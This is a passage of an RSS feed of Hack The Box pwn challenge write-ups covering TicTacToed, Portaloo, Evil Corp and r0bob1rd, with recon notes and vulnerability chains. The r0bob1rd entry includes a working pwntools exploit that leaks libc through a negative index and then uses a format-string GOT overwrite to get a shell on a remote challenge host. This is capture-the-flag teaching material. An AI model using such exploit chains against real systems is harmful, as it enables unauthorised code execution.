      <title>HTB - Pwn: TicTacToed</title>
      <link>/posts/htb-pwn-tictactoed/</link>
      <pubDate>Thu, 26 Feb 2026 17:00:00 +0700</pubDate>
      <guid>/posts/htb-pwn-tictactoed/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; TicTacToed&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Unlock the hidden interface, pass authentication, and recover the flag from the embedded C2 workflow.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;initial-recon&#34;&gt;Initial Recon&lt;/h2&gt;&#xA;&lt;p&gt;The challenge binary is a Rust ELF (PIE, Full RELRO, NX, no canary, not stripped), with useful symbols left intact.&lt;/p&gt;&#xA;&lt;p&gt;Important symbols during reversing:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;main&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;check_winner&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;validate_access_code&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;decrypt_key&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ask_for_credentials&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;execute_c2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Key observations:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A hidden path unlocks after a specific 5x5 tic-tac-toe win pattern.&lt;/li&gt;&#xA;&lt;li&gt;Auth is not random: input is SHA-256 checked against an embedded expected hash.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;decrypt_key&lt;/code&gt; reconstructs the credential from 3 encrypted parts using XOR &lt;code&gt;^ 0x5a&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;On successful auth, the binary drops and executes a second ELF (&lt;code&gt;/tmp/C2_executable&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;hidden-credential-recovery&#34;&gt;Hidden Credential Recovery&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;decrypt_key&lt;/code&gt; uses three encrypted byte arrays (&lt;code&gt;ENC_PART1/2/3&lt;/code&gt;) and applies a transform closure equivalent to:&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: Portaloo</title>
      <link>/posts/htb-pwn-portaloo/</link>
      <pubDate>Thu, 26 Feb 2026 15:25:00 +0700</pubDate>
      <guid>/posts/htb-pwn-portaloo/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Portaloo&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Turn the portal manager bugs into code execution and recover the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;initial-recon&#34;&gt;Initial Recon&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;checksec&lt;/code&gt; profile:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;64-bit ELF&lt;/li&gt;&#xA;&lt;li&gt;PIE enabled&lt;/li&gt;&#xA;&lt;li&gt;Full RELRO&lt;/li&gt;&#xA;&lt;li&gt;Canary enabled&lt;/li&gt;&#xA;&lt;li&gt;NX enabled&lt;/li&gt;&#xA;&lt;li&gt;Not stripped&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Menu primitives:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create Portal&lt;/li&gt;&#xA;&lt;li&gt;Destroy Portal&lt;/li&gt;&#xA;&lt;li&gt;Upgrade Portal&lt;/li&gt;&#xA;&lt;li&gt;Peek into the Void&lt;/li&gt;&#xA;&lt;li&gt;Step into the portal&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Interesting functions from reversing:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;create_portal&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;destroy_portal&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;upgrade_portal&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;peek_into_the_void&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;step_into_the_portal&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;vulnerability-chain&#34;&gt;Vulnerability Chain&lt;/h2&gt;&#xA;&lt;h3 id=&#34;1-use-after-free-in-portal-slots&#34;&gt;1) Use-After-Free in portal slots&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;destroy_portal&lt;/code&gt; calls &lt;code&gt;free(slots[idx])&lt;/code&gt; but does &lt;strong&gt;not&lt;/strong&gt; clear the slot pointer. That leaves stale freed pointers reachable via other menu actions.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: Evil Corp</title>
      <link>/posts/htb-pwn-evil-corp/</link>
      <pubDate>Thu, 26 Feb 2026 03:40:00 +0700</pubDate>
      <guid>/posts/htb-pwn-evil-corp/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Evil Corp&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Exploit the support-message path to get code execution and recover the flag&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;initial-triage&#34;&gt;Initial Triage&lt;/h2&gt;&#xA;&lt;p&gt;Binary: &lt;code&gt;evil-corp&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;checksec&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;64-bit ELF&lt;/li&gt;&#xA;&lt;li&gt;PIE enabled&lt;/li&gt;&#xA;&lt;li&gt;NX enabled&lt;/li&gt;&#xA;&lt;li&gt;Partial RELRO&lt;/li&gt;&#xA;&lt;li&gt;No stack canary&lt;/li&gt;&#xA;&lt;li&gt;Not stripped&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Key behavior:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Program uses wide-char I/O (&lt;code&gt;fgetws&lt;/code&gt;, &lt;code&gt;wcscmp&lt;/code&gt;, &lt;code&gt;wcstol&lt;/code&gt;, &lt;code&gt;wprintf&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Login credentials are hardcoded and checked with &lt;code&gt;wcscmp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Menu option 2 (&lt;code&gt;ContactSupport&lt;/code&gt;) is the vulnerable path&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Recovered credentials:&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: r0bob1rd</title>
      <link>/posts/htb-pwn-r0bob1rd/</link>
      <pubDate>Wed, 25 Feb 2026 17:45:00 +0700</pubDate>
      <guid>/posts/htb-pwn-r0bob1rd/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; r0bob1rd&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Gain shell and read flag from remote service&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;binary-recon&#34;&gt;Binary Recon&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;checksec&lt;/code&gt; and static triage show:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;64-bit ELF&lt;/li&gt;&#xA;&lt;li&gt;NX enabled&lt;/li&gt;&#xA;&lt;li&gt;Stack canary enabled&lt;/li&gt;&#xA;&lt;li&gt;Partial RELRO&lt;/li&gt;&#xA;&lt;li&gt;No PIE&lt;/li&gt;&#xA;&lt;li&gt;Not stripped&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Core issues in &lt;code&gt;operation()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Negative index OOB read&lt;/strong&gt; on global &lt;code&gt;robobirdNames&lt;/code&gt; table:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User-controlled index is used in pointer arithmetic around &lt;code&gt;.data/.got&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-8&lt;/code&gt; maps to &lt;code&gt;setvbuf@got&lt;/code&gt; and leaks libc pointer bytes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Format string vulnerability&lt;/strong&gt;:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;user input is passed directly to &lt;code&gt;printf(buf)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Enables arbitrary write primitive via &lt;code&gt;%n&lt;/code&gt; payloads.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;exploit-plan&#34;&gt;Exploit Plan&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Send index &lt;code&gt;-8&lt;/code&gt; to leak &lt;code&gt;setvbuf@got&lt;/code&gt; runtime address.&lt;/li&gt;&#xA;&lt;li&gt;Compute &lt;code&gt;libc_base = leak - libc.sym[&#39;setvbuf&#39;]&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use FSB payload to overwrite &lt;code&gt;__stack_chk_fail@got&lt;/code&gt; with a libc one_gadget.&lt;/li&gt;&#xA;&lt;li&gt;Overflow description (&lt;code&gt;fgets&lt;/code&gt; into smaller stack buffer) to force canary failure.&lt;/li&gt;&#xA;&lt;li&gt;Canary check calls hijacked &lt;code&gt;__stack_chk_fail&lt;/code&gt; =&amp;gt; one_gadget =&amp;gt; shell.&lt;/li&gt;&#xA;&lt;li&gt;Execute &lt;code&gt;cat /flag.txt&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;working-exploit-script&#34;&gt;Working Exploit Script&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pwn &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;amd64&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;log_level &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;info&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BIN &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;./r0bob1rd&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LIBC &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;./glibc/libc.so.6&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LD &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;./glibc/ld.so.2&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HOST &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;154.57.164.74&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PORT &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;32234&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;elf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ELF(BIN, checksec&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;False&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;libc &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ELF(LIBC, checksec&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;False&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;start&lt;/span&gt;(remote_mode&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; remote_mode:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; remote(HOST, PORT)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; process([LD, BIN])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;solve&lt;/span&gt;(io):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Stage 1: OOB leak from setvbuf@got via negative index&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;-8&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvuntil(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;sen: &amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    leak_raw &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvuntil(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;, drop&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    leak &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; u64(leak_raw[:&lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ljust(&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    libc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;address &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; leak &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; libc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sym[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;setvbuf&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;success(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;libc base = &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(libc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;address)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# one_gadget candidates from bundled libc&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# 0xe3afe, 0xe3b01, 0xe3b04&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    one &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; libc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;address &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xe3b01&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;success(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;one_gadget = &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(one)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Stage 2: format-string overwrite&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    payload &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; fmtstr_payload(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;got[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;__stack_chk_fail&amp;#39;&lt;/span&gt;]: one},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        write_size&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;short&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ljust(&lt;span style=&#34;color:#ae81ff&#34;&gt;106&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x90&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;gt;&amp;#39;&lt;/span&gt;, payload)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Give epilogue path a moment and then use shell&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sleep(&lt;span style=&#34;color:#ae81ff&#34;&gt;0.8&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;echo __PWNED__&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;id&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;cat /flag.txt || cat flag.txt&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    out &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvrepeat(&lt;span style=&#34;color:#ae81ff&#34;&gt;2.0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(out&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode(errors&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;ignore&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; __name__ &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span 